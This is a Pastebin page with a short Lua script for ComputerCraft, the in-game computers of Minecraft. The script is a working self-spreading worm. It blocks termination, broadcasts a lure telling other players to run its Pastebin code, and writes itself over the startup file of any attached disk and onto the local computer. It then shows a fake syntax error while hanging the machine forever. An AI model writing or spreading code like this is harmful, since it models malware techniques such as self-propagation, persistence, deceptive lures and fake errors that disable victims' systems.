Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- term.clear()
- term.setCursorPos(1,1)
- rednet.broadcast("I found a really cool new Pastebin program, just type 'pastebin run ZtChe0xt'")
- if fs.exists("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- shell.run("pastebin get ZtChe0xt disk/startup")
- else
- shell.run("pastebin get ZtChe0xt disk/startup")
- end
- if fs.exists("startup") then
- else
- fs.copy("disk/startup", "startup")
- end
- end
- term.clear()
- term.setTextColor(colors.red)
- term.setCursorPos(1,1)
- print("ZtChe0xt:25: 'then' expected")
- while true do
- sleep(1)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement